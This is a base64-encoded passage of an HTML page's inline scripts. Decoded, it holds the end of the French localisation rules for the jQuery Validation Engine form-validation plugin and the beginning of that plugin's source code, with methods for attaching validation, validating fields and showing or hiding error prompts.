IGludmFsaWQiDQogICAgICAgICAgICAgICAgfSwNCiAgICAgICAgICAgICAgICAibnVtYmVyIjogew0KICAgICAgICAgICAgICAgICAgICAvLyBOdW1iZXIsIGluY2x1ZGluZyBwb3NpdGl2ZSwgbmVnYXRpdmUsIGFuZCBmbG9hdGluZyBkZWNpbWFsLiBjcmVkaXQ6IG9yZWZhbG8NCiAgICAgICAgICAgICAgICAgICAgInJlZ2V4IjogL15bXC1cK10/KCgoWzAtOV17MSwzfSkoWyxdWzAtOV17M30pKil8KFswLTldKykpPyhbXC5dKFswLTldKykpPyQvLA0KICAgICAgICAgICAgICAgICAgICAiYWxlcnRUZXh0IjogIiogTm9tYnJlIGZsb3R0YW50IGludmFsaWRlIg0KICAgICAgICAgICAgICAgIH0sDQogICAgICAgICAgICAgICAgImRhdGUiOiB7DQogICAgICAgICAgICAgICAgICAgICJyZWdleCI6IC9eXGR7NH1bXC9cLV0oMD9bMS05XXwxWzAxMl0pW1wvXC1dKDA/WzEtOV18WzEyXVswLTldfDNbMDFdKSQvLA0KICAgICAgICAgICAgICAgICAgICAiYWxlcnRUZXh0IjogIiogRGF0ZSBpbnZhbGlkZSwgZm9ybWF0IFlZWVktTU0tREQgcmVxdWlzIg0KICAgICAgICAgICAgICAgIH0sDQogICAgICAgICAgICAgICAgImlwdjQiOiB7DQogICAgICAgICAgICAgICAgCSJyZWdleCI6IC9eKCgoWzAxXT9bMC05XXsxLDJ9KXwoMlswLTRdWzAtOV0pfCgyNVswLTVdKSlbLl0pezN9KChbMC0xXT9bMC05XXsxLDJ9KXwoMlswLTRdWzAtOV0pfCgyNVswLTVdKSkkLywNCiAgICAgICAgICAgICAgICAgICAgImFsZXJ0VGV4dCI6ICIqIEFkcmVzc2UgSVAgaW52YWxpZGUiDQogICAgICAgICAgICAgICAgfSwNCiAgICAgICAgICAgICAgICAidXJsIjogew0KICAgICAgICAgICAgICAgICAgICAicmVnZXgiOiAvXihodHRwcz98ZnRwKTpcL1wvKCgoKFthLXpdfFxkfC18XC58X3x+fFtcdTAwQTAtXHVEN0ZGXHVGOTAwLVx1RkRDRlx1RkRGMC1cdUZGRUZdKXwoJVtcZGEtZl17Mn0pfFshXCQmJ1woXClcKlwrLDs9XXw6KSpAKT8oKChcZHxbMS05XVxkfDFcZFxkfDJbMC00XVxkfDI1WzAtNV0pXC4oXGR8WzEtOV1cZHwxXGRcZHwyWzAtNF1cZHwyNVswLTVdKVwuKFxkfFsxLTldXGR8MVxkXGR8MlswLTRdXGR8MjVbMC01XSlcLihcZHxbMS05XVxkfDFcZFxkfDJbMC00XVxkfDI1WzAtNV0pKXwoKChbYS16XXxcZHxbXHUwMEEwLVx1RDdGRlx1RjkwMC1cdUZEQ0ZcdUZERjAtXHVGRkVGXSl8KChbYS16XXxcZHxbXHUwMEEwLVx1RDdGRlx1RjkwMC1cdUZEQ0ZcdUZERjAtXHVGRkVGXSkoW2Etel18XGR8LXxcLnxffH58W1x1MDBBMC1cdUQ3RkZcdUY5MDAtXHVGRENGXHVGREYwLVx1RkZFRl0pKihbYS16XXxcZHxbXHUwMEEwLVx1RDdGRlx1RjkwMC1cdUZEQ0ZcdUZERjAtXHVGRkVGXSkpKVwuKSsoKFthLXpdfFtcdTAwQTAtXHVEN0ZGXHVGOTAwLVx1RkRDRlx1RkRGMC1cdUZGRUZdKXwoKFthLXpdfFtcdTAwQTAtXHVEN0ZGXHVGOTAwLVx1RkRDRlx1RkRGMC1cdUZGRUZdKShbYS16XXxcZHwtfFwufF98fnxbXHUwMEEwLVx1RDdGRlx1RjkwMC1cdUZEQ0ZcdUZERjAtXHVGRkVGXSkqKFthLXpdfFtcdTAwQTAtXHVEN0ZGXHVGOTAwLVx1RkRDRlx1RkRGMC1cdUZGRUZdKSkpXC4/KSg6XGQqKT8pKFwvKCgoW2Etel18XGR8LXxcLnxffH58W1x1MDBBMC1cdUQ3RkZcdUY5MDAtXHVGRENGXHVGREYwLVx1RkZFRl0pfCglW1xkYS1mXXsyfSl8WyFcJCYnXChcKVwqXCssOz1dfDp8QCkrKFwvKChbYS16XXxcZHwtfFwufF98fnxbXHUwMEEwLVx1RDdGRlx1RjkwMC1cdUZEQ0ZcdUZERjAtXHVGRkVGXSl8KCVbXGRhLWZdezJ9KXxbIVwkJidcKFwpXCpcKyw7PV18OnxAKSopKik/KT8oXD8oKChbYS16XXxcZHwtfFwufF98fnxbXHUwMEEwLVx1RDdGRlx1RjkwMC1cdUZEQ0ZcdUZERjAtXHVGRkVGXSl8KCVbXGRhLWZdezJ9KXxbIVwkJidcKFwpXCpcKyw7PV18OnxAKXxbXHVFMDAwLVx1RjhGRl18XC98XD8pKik/KFwjKCgoW2Etel18XGR8LXxcLnxffH58W1x1MDBBMC1cdUQ3RkZcdUY5MDAtXHVGRENGXHVGREYwLVx1RkZFRl0pfCglW1xkYS1mXXsyfSl8WyFcJCYnXChcKVwqXCssOz1dfDp8QCl8XC98XD8pKik/JC9pLA0KICAgICAgICAgICAgICAgICAgICAiYWxlcnRUZXh0IjogIiogVVJMIGludmFsaWRlIg0KICAgICAgICAgICAgICAgIH0sDQogICAgICAgICAgICAgICAgIm9ubHlOdW1iZXJTcCI6IHsNCiAgICAgICAgICAgICAgICAgICAgInJlZ2V4IjogL15bMC05XCBdKyQvLA0KICAgICAgICAgICAgICAgICAgICAiYWxlcnRUZXh0IjogIiogU2V1bHMgbGVzIGNoaWZmcmVzIHNvbnQgYWNjZXB0w6lzIg0KICAgICAgICAgICAgICAgIH0sDQogICAgICAgICAgICAgICAgIm9ubHlMZXR0ZXJTcCI6IHsNCiAgICAgICAgICAgICAgICAgICAgInJlZ2V4IjogL15bYS16QS1aXHUwMEMwLVx1MDBENlx1MDBEOS1cdTAwRjZcdTAwRjktXHUwMEZEXCBcJ10rJC8sDQogICAgICAgICAgICAgICAgICAgICJhbGVydFRleHQiOiAiKiBTZXVsZXMgbGVzIGxldHRyZXMgc29udCBhY2NlcHTDqWVzIg0KICAgICAgICAgICAgICAgIH0sDQogICAgICAgICAgICAgICAgIm9ubHlMZXR0ZXJOdW1iZXIiOiB7DQogICAgICAgICAgICAgICAgICAgICJyZWdleCI6IC9eWzAtOWEtekEtWlx1MDBDMC1cdTAwRDZcdTAwRDktXHUwMEY2XHUwMEY5LVx1MDBGRF0rJC8sDQogICAgICAgICAgICAgICAgICAgICJhbGVydFRleHQiOiAiKiBBdWN1biBjYXJhY3TDqHJlIHNww6ljaWFsIG4nZXN0IGFjY2VwdMOpIg0KICAgICAgICAgICAgICAgIH0sDQoJCQkJLy8gLS0tIENVU1RPTSBSVUxFUyAtLSBUaG9zZSBhcmUgc3BlY2lmaWMgdG8gdGhlIGRlbW9zLCB0aGV5IGNhbiBiZSByZW1vdmVkIG9yIGNoYW5nZWQgdG8geW91ciBsaWtpbmdzDQogICAgICAgICAgICAgICAgImFqYXhVc2VyQ2FsbCI6IHsNCiAgICAgICAgICAgICAgICAgICAgInVybCI6ICJhamF4VmFsaWRhdGVGaWVsZFVzZXIiLA0KICAgICAgICAgICAgICAgICAgICAiZXh0cmFEYXRhIjogIm5hbWU9ZXJpYyIsDQogICAgICAgICAgICAgICAgICAgICJhbGVydFRleHRMb2FkIjogIiogQ2hhcmdlbWVudCwgdmV1aWxsZXogYXR0ZW5kcmUiLA0KICAgICAgICAgICAgICAgICAgICAiYWxlcnRUZXh0IjogIiogQ2Ugbm9tIGVzdCBkw6lqw6AgcHJpcyINCiAgICAgICAgICAgICAgICB9LA0KICAgICAgICAgICAgICAgICJhamF4TmFtZUNhbGwiOiB7DQogICAgICAgICAgICAgICAgICAgICJ1cmwiOiAiYWpheFZhbGlkYXRlRmllbGROYW1lIiwNCiAgICAgICAgICAgICAgICAgICAgImFsZXJ0VGV4dCI6ICIqIENlIG5vbSBlc3QgZMOpasOgIHByaXMiLA0KICAgICAgICAgICAgICAgICAgICAiYWxlcnRUZXh0T2siOiAiKkNlIG5vbSBlc3QgZGlzcG9uaWJsZSIsDQogICAgICAgICAgICAgICAgICAgICJhbGVydFRleHRMb2FkIjogIiogQ2hhcmdlbWVudCwgdmV1aWxsZXogYXR0ZW5kcmUiDQogICAgICAgICAgICAgICAgfSwNCiAgICAgICAgICAgICAgICAidmFsaWRhdGUyZmllbGRzIjogew0KICAgICAgICAgICAgICAgICAgICAiYWxlcnRUZXh0IjogIlZldWlsbGV6IHRhcGVyIGxlIG1vdCBIRUxMTyINCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9Ow0KICAgICAgICB9DQogICAgfTsNCiAgICAkLnZhbGlkYXRpb25FbmdpbmVMYW5ndWFnZS5uZXdMYW5nKCk7DQp9KShqUXVlcnkpOw0KPC9zY3JpcHQ+DQo8c2NyaXB0Pg0KIChmdW5jdGlvbigkKSB7DQoNCgkidXNlIHN0cmljdCI7DQoNCgl2YXIgbWV0aG9kcyA9IHsNCg0KCQkvKioNCgkJKiBLaW5kIG9mIHRoZSBjb25zdHJ1Y3RvciwgY2FsbGVkIGJlZm9yZSBhbnkgYWN0aW9uDQoJCSogQHBhcmFtIHtNYXB9IHVzZXIgb3B0aW9ucw0KCQkqLw0KCQlpbml0OiBmdW5jdGlvbihvcHRpb25zKSB7DQoJCQl2YXIgZm9ybSA9IHRoaXM7DQoJCQlpZiAoIWZvcm0uZGF0YSgnanF2JykgfHwgZm9ybS5kYXRhKCdqcXYnKSA9PSBudWxsICkgew0KCQkJCW9wdGlvbnMgPSBtZXRob2RzLl9zYXZlT3B0aW9ucyhmb3JtLCBvcHRpb25zKTsNCgkJCQkvLyBiaW5kIGFsbCBmb3JtRXJyb3IgZWxlbWVudHMgdG8gY2xvc2Ugb24gY2xpY2sNCgkJCQkkKGRvY3VtZW50KS5vbigiY2xpY2siLCAiLmZvcm1FcnJvciIsIGZ1bmN0aW9uKCkgew0KCQkJCQkkKHRoaXMpLmZhZGVPdXQoMTUwLCBmdW5jdGlvbigpIHsNCgkJCQkJCS8vIHJlbW92ZSBwcm9tcHQgb25jZSBpbnZpc2libGUNCgkJCQkJCSQodGhpcykucGFyZW50KCcuZm9ybUVycm9yT3V0ZXInKS5yZW1vdmUoKTsNCgkJCQkJCSQodGhpcykucmVtb3ZlKCk7DQoJCQkJCX0pOw0KCQkJCX0pOw0KCQkJfQ0KCQkJcmV0dXJuIHRoaXM7DQoJCSB9LA0KCQkvKioNCgkJKiBBdHRhY2hzIGpRdWVyeS52YWxpZGF0aW9uRW5naW5lIHRvIGZvcm0uc3VibWl0IGFuZCBmaWVsZC5ibHVyIGV2ZW50cw0KCQkqIFRha2VzIGFuIG9wdGlvbmFsIHBhcmFtczogYSBsaXN0IG9mIG9wdGlvbnMNCgkJKiBpZS4galF1ZXJ5KCIjZm9ybUlEMSIpLnZhbGlkYXRpb25FbmdpbmUoJ2F0dGFjaCcsIHtwcm9tcHRQb3NpdGlvbiA6ICJjZW50ZXJSaWdodCJ9KTsNCgkJKi8NCgkJYXR0YWNoOiBmdW5jdGlvbih1c2VyT3B0aW9ucykgew0KDQoJCQl2YXIgZm9ybSA9IHRoaXM7DQoJCQl2YXIgb3B0aW9uczsNCg0KCQkJaWYodXNlck9wdGlvbnMpDQoJCQkJb3B0aW9ucyA9IG1ldGhvZHMuX3NhdmVPcHRpb25zKGZvcm0sIHVzZXJPcHRpb25zKTsNCgkJCWVsc2UNCgkJCQlvcHRpb25zID0gZm9ybS5kYXRhKCdqcXYnKTsNCg0KCQkJb3B0aW9ucy52YWxpZGF0ZUF0dHJpYnV0ZSA9IChmb3JtLmZpbmQoIltkYXRhLXZhbGlkYXRpb24tZW5naW5lKj12YWxpZGF0ZV0iKS5sZW5ndGgpID8gImRhdGEtdmFsaWRhdGlvbi1lbmdpbmUiIDogImNsYXNzIjsNCgkJCWlmIChvcHRpb25zLmJpbmRlZCkgew0KDQoJCQkJLy8gZGVsZWdhdGUgZmllbGRzDQoJCQkJZm9ybS5vbihvcHRpb25zLnZhbGlkYXRpb25FdmVudFRyaWdnZXIsICJbIitvcHRpb25zLnZhbGlkYXRlQXR0cmlidXRlKyIqPXZhbGlkYXRlXTpub3QoW3R5cGU9Y2hlY2tib3hdKTpub3QoW3R5cGU9cmFkaW9dKTpub3QoLmRhdGVwaWNrZXIpIiwgbWV0aG9kcy5fb25GaWVsZEV2ZW50KTsNCgkJCQlmb3JtLm9uKCJjbGljayIsICJbIitvcHRpb25zLnZhbGlkYXRlQXR0cmlidXRlKyIqPXZhbGlkYXRlXVt0eXBlPWNoZWNrYm94XSxbIitvcHRpb25zLnZhbGlkYXRlQXR0cmlidXRlKyIqPXZhbGlkYXRlXVt0eXBlPXJhZGlvXSIsIG1ldGhvZHMuX29uRmllbGRFdmVudCk7DQoJCQkJZm9ybS5vbihvcHRpb25zLnZhbGlkYXRpb25FdmVudFRyaWdnZXIsIlsiK29wdGlvbnMudmFsaWRhdGVBdHRyaWJ1dGUrIio9dmFsaWRhdGVdW2NsYXNzKj1kYXRlcGlja2VyXSIsIHsiZGVsYXkiOiAzMDB9LCBtZXRob2RzLl9vbkZpZWxkRXZlbnQpOw0KCQkJfQ0KCQkJaWYgKG9wdGlvbnMuYXV0b1Bvc2l0aW9uVXBkYXRlKSB7DQoJCQkJJCh3aW5kb3cpLmJpbmQoInJlc2l6ZSIsIHsNCgkJCQkJIm5vQW5pbWF0aW9uIjogdHJ1ZSwNCgkJCQkJImZvcm1FbGVtIjogZm9ybQ0KCQkJCX0sIG1ldGhvZHMudXBkYXRlUHJvbXB0c1Bvc2l0aW9uKTsNCgkJCX0NCgkJCWZvcm0ub24oImNsaWNrIiwiYVtkYXRhLXZhbGlkYXRpb24tZW5naW5lLXNraXBdLCBhW2NsYXNzKj0ndmFsaWRhdGUtc2tpcCddLCBidXR0b25bZGF0YS12YWxpZGF0aW9uLWVuZ2luZS1za2lwXSwgYnV0dG9uW2NsYXNzKj0ndmFsaWRhdGUtc2tpcCddLCBpbnB1dFtkYXRhLXZhbGlkYXRpb24tZW5naW5lLXNraXBdLCBpbnB1dFtjbGFzcyo9J3ZhbGlkYXRlLXNraXAnXSIsIG1ldGhvZHMuX3N1Ym1pdEJ1dHRvbkNsaWNrKTsNCgkJCWZvcm0ucmVtb3ZlRGF0YSgnanF2X3N1Ym1pdEJ1dHRvbicpOw0KDQoJCQkvLyBiaW5kIGZvcm0uc3VibWl0DQoJCQlmb3JtLm9uKCJzdWJtaXQiLCBtZXRob2RzLl9vblN1Ym1pdEV2ZW50KTsNCgkJCXJldHVybiB0aGlzOw0KCQl9LA0KCQkvKioNCgkJKiBVbnJlZ2lzdGVycyBhbnkgYmluZGluZ3MgdGhhdCBtYXkgcG9pbnQgdG8galF1ZXJ5LnZhbGlkYWl0b25FbmdpbmUNCgkJKi8NCgkJZGV0YWNoOiBmdW5jdGlvbigpIHsNCg0KCQkJdmFyIGZvcm0gPSB0aGlzOw0KCQkJdmFyIG9wdGlvbnMgPSBmb3JtLmRhdGEoJ2pxdicpOw0KDQoJCQkvLyB1bmJpbmQgZmllbGRzDQoJCQlmb3JtLmZpbmQoIlsiK29wdGlvbnMudmFsaWRhdGVBdHRyaWJ1dGUrIio9dmFsaWRhdGVdIikubm90KCJbdHlwZT1jaGVja2JveF0iKS5vZmYob3B0aW9ucy52YWxpZGF0aW9uRXZlbnRUcmlnZ2VyLCBtZXRob2RzLl9vbkZpZWxkRXZlbnQpOw0KCQkJZm9ybS5maW5kKCJbIitvcHRpb25zLnZhbGlkYXRlQXR0cmlidXRlKyIqPXZhbGlkYXRlXVt0eXBlPWNoZWNrYm94XSxbY2xhc3MqPXZhbGlkYXRlXVt0eXBlPXJhZGlvXSIpLm9mZigiY2xpY2siLCBtZXRob2RzLl9vbkZpZWxkRXZlbnQpOw0KDQoJCQkvLyB1bmJpbmQgZm9ybS5zdWJtaXQNCgkJCWZvcm0ub2ZmKCJzdWJtaXQiLCBtZXRob2RzLl9vblN1Ym1pdEV2ZW50KTsNCgkJCWZvcm0ucmVtb3ZlRGF0YSgnanF2Jyk7DQogICAgICAgICAgICANCgkJCWZvcm0ub2ZmKCJjbGljayIsICJhW2RhdGEtdmFsaWRhdGlvbi1lbmdpbmUtc2tpcF0sIGFbY2xhc3MqPSd2YWxpZGF0ZS1za2lwJ10sIGJ1dHRvbltkYXRhLXZhbGlkYXRpb24tZW5naW5lLXNraXBdLCBidXR0b25bY2xhc3MqPSd2YWxpZGF0ZS1za2lwJ10sIGlucHV0W2RhdGEtdmFsaWRhdGlvbi1lbmdpbmUtc2tpcF0sIGlucHV0W2NsYXNzKj0ndmFsaWRhdGUtc2tpcCddIiwgbWV0aG9kcy5fc3VibWl0QnV0dG9uQ2xpY2spOw0KCQkJZm9ybS5yZW1vdmVEYXRhKCdqcXZfc3VibWl0QnV0dG9uJyk7DQoNCgkJCWlmIChvcHRpb25zLmF1dG9Qb3NpdGlvblVwZGF0ZSkNCgkJCQkkKHdpbmRvdykub2ZmKCJyZXNpemUiLCBtZXRob2RzLnVwZGF0ZVByb21wdHNQb3NpdGlvbik7DQoNCgkJCXJldHVybiB0aGlzOw0KCQl9LA0KCQkvKioNCgkJKiBWYWxpZGF0ZXMgZWl0aGVyIGEgZm9ybSBvciBhIGxpc3Qgb2YgZmllbGRzLCBzaG93cyBwcm9tcHRzIGFjY29yZGluZ2x5Lg0KCQkqIE5vdGU6IFRoZXJlIGlzIG5vIGFqYXggZm9ybSB2YWxpZGF0aW9uIHdpdGggdGhpcyBtZXRob2QsIG9ubHkgZmllbGQgYWpheCB2YWxpZGF0aW9uIGFyZSBldmFsdWF0ZWQNCgkJKg0KCQkqIEByZXR1cm4gdHJ1ZSBpZiB0aGUgZm9ybSB2YWxpZGF0ZXMsIGZhbHNlIGlmIGl0IGZhaWxzDQoJCSovDQoJCXZhbGlkYXRlOiBmdW5jdGlvbigpIHsNCgkJCXZhciBlbGVtZW50ID0gJCh0aGlzKTsNCgkJCXZhciB2YWxpZCA9IG51bGw7DQoJCQkNCgkJCWlmIChlbGVtZW50LmlzKCJmb3JtIikgfHwgZWxlbWVudC5oYXNDbGFzcygidmFsaWRhdGlvbkVuZ2luZUNvbnRhaW5lciIpKSB7DQoJCQkNCgkJCQlpZiAoZWxlbWVudC5oYXNDbGFzcygndmFsaWRhdGluZycpKSB7DQoJCQkJCS8vIGZvcm0gaXMgYWxyZWFkeSB2YWxpZGF0aW5nLg0KCQkJCQkvLyBTaG91bGQgYWJvcnQgb2xkIHZhbGlkYXRpb24gYW5kIHN0YXJ0IG5ldyBvbmUuIEkgZG9uJ3Qga25vdyBob3cgdG8gaW1wbGVtZW50IGl0Lg0KCQkJCQlyZXR1cm4gZmFsc2U7DQoJCQkJfSBlbHNlIHsJCQkJDQoJCQkJCWVsZW1lbnQuYWRkQ2xhc3MoJ3ZhbGlkYXRpbmcnKTsNCgkJCQkJdmFyIG9wdGlvbnMgPSBlbGVtZW50LmRhdGEoJ2pxdicpOw0KCQkJCQl2YXIgdmFsaWQgPSBtZXRob2RzLl92YWxpZGF0ZUZpZWxkcyh0aGlzKTsNCg0KCQkJCQkvLyBJZiB0aGUgZm9ybSBkb2Vzbid0IHZhbGlkYXRlLCBjbGVhciB0aGUgJ3ZhbGlkYXRpbmcnIGNsYXNzIGJlZm9yZSB0aGUgdXNlciBoYXMgYSBjaGFuY2UgdG8gc3VibWl0IGFnYWluDQoJCQkJCXNldFRpbWVvdXQoZnVuY3Rpb24oKXsNCgkJCQkJCWVsZW1lbnQucmVtb3ZlQ2xhc3MoJ3ZhbGlkYXRpbmcnKTsNCgkJCQkJfSwgMTAwKTsNCgkJCQkJaWYgKHZhbGlkICYmIG9wdGlvbnMub25TdWNjZXNzKSB7DQoJCQkJCQlvcHRpb25zLm9uU3VjY2VzcygpOw0KCQkJCQl9IGVsc2UgaWYgKCF2YWxpZCAmJiBvcHRpb25zLm9uRmFpbHVyZSkgew0KCQkJCQkJb3B0aW9ucy5vbkZhaWx1cmUoKTsNCgkJCQkJfQ0KCQkJCX0NCgkJCX0gZWxzZSBpZiAoZWxlbWVudC5pcygnZm9ybScpIHx8IGVsZW1lbnQuaGFzQ2xhc3MoJ3ZhbGlkYXRpb25FbmdpbmVDb250YWluZXInKSkgew0KCQkJCWVsZW1lbnQucmVtb3ZlQ2xhc3MoJ3ZhbGlkYXRpbmcnKTsNCgkJCX0gZWxzZSB7DQoJCQkJLy8gZmllbGQgdmFsaWRhdGlvbg0KCQkJCXZhciBmb3JtID0gZWxlbWVudC5jbG9zZXN0KCdmb3JtLCAudmFsaWRhdGlvbkVuZ2luZUNvbnRhaW5lcicpLA0KCQkJCQlvcHRpb25zID0gKGZvcm0uZGF0YSgnanF2JykpID8gZm9ybS5kYXRhKCdqcXYnKSA6ICQudmFsaWRhdGlvbkVuZ2luZS5kZWZhdWx0cywNCgkJCQkJdmFsaWQgPSBtZXRob2RzLl92YWxpZGF0ZUZpZWxkKGVsZW1lbnQsIG9wdGlvbnMpOw0KDQoJCQkJaWYgKHZhbGlkICYmIG9wdGlvbnMub25GaWVsZFN1Y2Nlc3MpDQoJCQkJCW9wdGlvbnMub25GaWVsZFN1Y2Nlc3MoKTsNCgkJCQllbHNlIGlmIChvcHRpb25zLm9uRmllbGRGYWlsdXJlICYmIG9wdGlvbnMuSW52YWxpZEZpZWxkcy5sZW5ndGggPiAwKSB7DQoJCQkJCW9wdGlvbnMub25GaWVsZEZhaWx1cmUoKTsNCgkJCQl9DQoJCQl9DQoJCQlpZihvcHRpb25zLm9uVmFsaWRhdGlvbkNvbXBsZXRlKSB7DQoJCQkJLy8gISEgZW5zdXJlcyB0aGF0IGFuIHVuZGVmaW5lZCByZXR1cm4gaXMgaW50ZXJwcmV0ZWQgYXMgcmV0dXJuIGZhbHNlIGJ1dCBhbGxvd3MgYSBvblZhbGlkYXRpb25Db21wbGV0ZSgpIHRvIHBvc3NpYmx5IHJldHVybiB0cnVlIGFuZCBoYXZlIGZvcm0gY29udGludWUgcHJvY2Vzc2luZw0KCQkJCXJldHVybiAhIW9wdGlvbnMub25WYWxpZGF0aW9uQ29tcGxldGUoZm9ybSwgdmFsaWQpOw0KCQkJfQ0KCQkJcmV0dXJuIHZhbGlkOw0KCQl9LA0KCQkvKioNCgkJKiAgUmVkcmF3IHByb21wdHMgcG9zaXRpb24sIHVzZWZ1bCB3aGVuIHlvdSBjaGFuZ2UgdGhlIERPTSBzdGF0ZSB3aGVuIHZhbGlkYXRpbmcNCgkJKi8NCgkJdXBkYXRlUHJvbXB0c1Bvc2l0aW9uOiBmdW5jdGlvbihldmVudCkgew0KDQoJCQlpZiAoZXZlbnQgJiYgdGhpcyA9PSB3aW5kb3cpIHsNCgkJCQl2YXIgZm9ybSA9IGV2ZW50LmRhdGEuZm9ybUVsZW07DQoJCQkJdmFyIG5vQW5pbWF0aW9uID0gZXZlbnQuZGF0YS5ub0FuaW1hdGlvbjsNCgkJCX0NCgkJCWVsc2UNCgkJCQl2YXIgZm9ybSA9ICQodGhpcy5jbG9zZXN0KCdmb3JtLCAudmFsaWRhdGlvbkVuZ2luZUNvbnRhaW5lcicpKTsNCg0KCQkJdmFyIG9wdGlvbnMgPSBmb3JtLmRhdGEoJ2pxdicpOw0KCQkJLy8gTm8gb3B0aW9uLCB0YWtlIGRlZmF1bHQgb25lDQoJCQlmb3JtLmZpbmQoJ1snK29wdGlvbnMudmFsaWRhdGVBdHRyaWJ1dGUrJyo9dmFsaWRhdGVdJykubm90KCI6ZGlzYWJsZWQiKS5lYWNoKGZ1bmN0aW9uKCl7DQoJCQkJdmFyIGZpZWxkID0gJCh0aGlzKTsNCgkJCQlpZiAob3B0aW9ucy5wcmV0dHlTZWxlY3QgJiYgZmllbGQuaXMoIjpoaWRkZW4iKSkNCgkJCQkgIGZpZWxkID0gZm9ybS5maW5kKCIjIiArIG9wdGlvbnMudXNlUHJlZml4ICsgZmllbGQuYXR0cignaWQnKSArIG9wdGlvbnMudXNlU3VmZml4KTsNCgkJCQl2YXIgcHJvbXB0ID0gbWV0aG9kcy5fZ2V0UHJvbXB0KGZpZWxkKTsNCgkJCQl2YXIgcHJvbXB0VGV4dCA9ICQocHJvbXB0KS5maW5kKCIuZm9ybUVycm9yQ29udGVudCIpLmh0bWwoKTsNCg0KCQkJCWlmKHByb21wdCkNCgkJCQkJbWV0aG9kcy5fdXBkYXRlUHJvbXB0KGZpZWxkLCAkKHByb21wdCksIHByb21wdFRleHQsIHVuZGVmaW5lZCwgZmFsc2UsIG9wdGlvbnMsIG5vQW5pbWF0aW9uKTsNCgkJCX0pOw0KCQkJcmV0dXJuIHRoaXM7DQoJCX0sDQoJCS8qKg0KCQkqIERpc3BsYXlzIGEgcHJvbXB0IG9uIGEgZWxlbWVudC4NCgkJKiBOb3RlIHRoYXQgdGhlIGVsZW1lbnQgbmVlZHMgYW4gaWQhDQoJCSoNCgkJKiBAcGFyYW0ge1N0cmluZ30gcHJvbXB0VGV4dCBodG1sIHRleHQgdG8gZGlzcGxheSB0eXBlDQoJCSogQHBhcmFtIHtTdHJpbmd9IHR5cGUgdGhlIHR5cGUgb2YgYnViYmxlOiAncGFzcycgKGdyZWVuKSwgJ2xvYWQnIChibGFjaykgYW55dGhpbmcgZWxzZSAocmVkKQ0KCQkqIEBwYXJhbSB7U3RyaW5nfSBwb3NzaWJsZSB2YWx1ZXMgdG9wTGVmdCwgdG9wUmlnaHQsIGJvdHRvbUxlZnQsIGNlbnRlclJpZ2h0LCBib3R0b21SaWdodA0KCQkqLw0KCQlzaG93UHJvbXB0OiBmdW5jdGlvbihwcm9tcHRUZXh0LCB0eXBlLCBwcm9tcHRQb3NpdGlvbiwgc2hvd0Fycm93KSB7DQoJCQl2YXIgZm9ybSA9IHRoaXMuY2xvc2VzdCgnZm9ybSwgLnZhbGlkYXRpb25FbmdpbmVDb250YWluZXInKTsNCgkJCXZhciBvcHRpb25zID0gZm9ybS5kYXRhKCdqcXYnKTsNCgkJCS8vIE5vIG9wdGlvbiwgdGFrZSBkZWZhdWx0IG9uZQ0KCQkJaWYoIW9wdGlvbnMpDQoJCQkJb3B0aW9ucyA9IG1ldGhvZHMuX3NhdmVPcHRpb25zKHRoaXMsIG9wdGlvbnMpOw0KCQkJaWYocHJvbXB0UG9zaXRpb24pDQoJCQkJb3B0aW9ucy5wcm9tcHRQb3NpdGlvbj1wcm9tcHRQb3NpdGlvbjsNCgkJCW9wdGlvbnMuc2hvd0Fycm93ID0gc2hvd0Fycm93PT10cnVlOw0KDQoJCQltZXRob2RzLl9zaG93UHJvbXB0KHRoaXMsIHByb21wdFRleHQsIHR5cGUsIGZhbHNlLCBvcHRpb25zKTsNCgkJCXJldHVybiB0aGlzOw0KCQl9LA0KCQkvKioNCgkJKiBDbG9zZXMgZm9ybSBlcnJvciBwcm9tcHRzLCBDQU4gYmUgaW52aWR1YWwNCgkJKi8NCgkJaGlkZTogZnVuY3Rpb24oKSB7DQoJCQkgdmFyIGZvcm0gPSAkKHRoaXMpLmNsb3Nlc3QoJ2Zvcm0sIC52YWxpZGF0aW9uRW5naW5lQ29udGFpbmVyJyk7DQoJCQkgdmFyIG9wdGlvbnMgPSBmb3JtLmRhdGEoJ2pxdicpOw0KCQkJIHZhciBmYWRlRHVyYXRpb24gPSAob3B0aW9ucyAmJiBvcHRpb25zLmZhZGVEdXJhdGlvbikgPyBvcHRpb25zLmZhZGVEdXJhdGlvbiA6IDAuMzsNCgkJCSB2YXIgY2xvc2luZ3RhZzsNCgkJCSANCgkJCSBpZigkKHRoaXMpLmlzKCJmb3JtIikgfHwgJCh0aGlzKS5oYXNDbGFzcygidmFsaWRhdGlvbkVuZ2luZUNvbnRhaW5lciIpKSB7DQoJCQkJIGNsb3Npbmd0YWcgPSAicGFyZW50Rm9ybSIrbWV0aG9kcy5fZ2V0Q2xhc3NOYW1lKCQodGhpcykuYXR0cigiaWQiKSk7DQoJCQkgfSBlbHNlIHsNCgkJCQkgY2xvc2luZ3RhZyA9IG1ldGhvZHMuX2dldENsYXNzTmFtZSgkKHRoaXMpLmF0dHIoImlkIikpICsiZm9ybUVycm9yIjsNCgkJCSB9DQoJCQkgJCgnLicrY2xvc2luZ3RhZykuZmFkZVRvKGZhZGVEdXJhdGlvbiwgMC4zLCBmdW5jdGlvbigpIHsNCgkJCQkgJCh0aGlzKS5wYXJlbnQoJy5mb3JtRXJyb3JPdXRlcicpLnJlbW92ZSgpOw0KCQkJCSAkKHRoaXMpLnJlbW92ZSgpOw0KCQkJIH0pOw0KCQkJIHJldHVybiB0aGlzOw0KCQkgfSwNCgkJIC8qKg0KCQkgKiBDbG9zZXMgYWxsIGVycm9yIHByb21wdHMgb24gdGhlIHBhZ2UNCgkJICovDQoJCSBoaWRlQWxsOiBmdW5jdGlvbigpIHsNCg0KCQkJIHZhciBmb3JtID0gdGhpczsNCgkJCSB2YXIgb3B0aW9ucyA9IGZvcm0uZGF0YSgnanF2Jyk7DQoJCQkgdmFyIGR1cmF0aW9uID0gb3B0aW9ucyA/IG9wdGlvbnMuZmFkZUR1cmF0aW9uOjMwMDsNCgkJCSAkKCcuZm9ybUVycm9yJykuZmFkZVRvKGR1cmF0aW9uLCAzMDAsIGZ1bmN0aW9uKCkgew0KCQkJCSAkKHRoaXMpLnBhcmVudCgnLmZvcm1FcnJvck91dGVyJykucmVtb3ZlKCk7DQoJCQkJICQodGhpcykucmVtb3ZlKCk7DQoJCQkgfSk7DQoJCQkgcmV0dXJuIHRoaXM7DQoJCSB9LA0KCQkvKioNCgkJKiBUeXBpY2FsbHkgY2FsbGVkIHdoZW4gdXNlciBleGlzdHMgYSBmaWVsZCB1c2luZyB0YWIgb3IgYSBtb3VzZSBjbGljaywgdHJpZ2dlcnMgYSBmaWVsZA0KC